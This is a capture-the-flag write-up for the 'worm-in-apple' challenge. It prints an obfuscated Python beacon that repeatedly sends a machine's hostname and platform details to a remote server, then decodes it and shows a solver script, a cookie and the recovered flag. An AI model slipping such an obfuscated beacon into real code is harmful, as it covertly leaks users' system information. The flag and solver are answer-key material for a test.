# /!\ FOR EDUCATIONAL PURPOSE ONLY /!\ A = '7.2zbv-bn00yrcp4scv-3rp52v49bv-3ncs2' B = 443 C = '0123456789abcdefghijklmnopqrstuvwxyz-.' import time import requests import platform from uuid import uuid4 from threading import Thread
defw(): i, u = str(uuid4()), 'https://{}:{}/{}'.format(''.join([ C[(C.index(e) - 0x0d) % len(C)] for e in A ]), B, ''.join([chr(e ^ 0x42) for e in [44, 45, 54, 43, 36, 59]])) whileTrue: requests.post( u, json={ 'uuid': i, 'node': platform.node(), 'platform': platform.platform() }) time.sleep(5)
t = Thread(target=w) if __name__ == '__main__': t.start() t.join() else: t.daemon = True t.start()
The code will POST to https://worm-in-apple.ctf.insecurity-insa.fr:443/notify our machine generated uuid, hostname and kernel version.
Why not just open the URL in browser?
The root https://worm-in-apple.ctf.insecurity-insa.fr/ reveals a nice ASCII art:
# /!\ FOR EDUCATIONAL PURPOSE ONLY /!\ A = '7.2zbv-bn00yrcp4scv-3rp52v49bv-3ncs2' B = 443 C = '0123456789abcdefghijklmnopqrstuvwxyz-.' import requests from uuid import uuid4
defw(): i, u = str(uuid4()), 'https://{}:{}/{}'.format(''.join([ C[(C.index(e) - 0x0d) % len(C)] for e in A ]), B, ''.join([chr(e ^ 0x42) for e in [44, 45, 54, 43, 36, 59]])) session = requests.Session() r = session.post( u, json={ 'uuid': i, 'node': "givemeflag", 'platform': "sameasabove" }) print(r.cookies) r = session.get(u.replace("notify", "flag"), params={'uuid': i}) print(r.url) print(r.text)
w()
Running the above snippet will get us the flag!
1 2 3
<RequestsCookieJar[<Cookie uuid="2|1:0|10:1523093557|4:uuid|68:NWU5YmM0NjItZGEwOC00NTI5LTgyMzQtNjUzYWEzZmMxY2I1WzEwLjQyLjgxLjU3XQ==|9b3c23650e9ed9233c67b4ef572cf8ec9634f282b2a8263624b9a562bd428f94" for worm-in-apple.ctf.insecurity-insa.fr/>]> https://worm-in-apple.ctf.insecurity-insa.fr:443/flag?uuid=5e9bc462-da08-4529-8234-653aa3fc1cb5 here is your reward my dear: INSA{30880b4d7e6726f5614eb57d0c6d9e7aa23e9cbbae89a6c91aebb9d0352bc53b}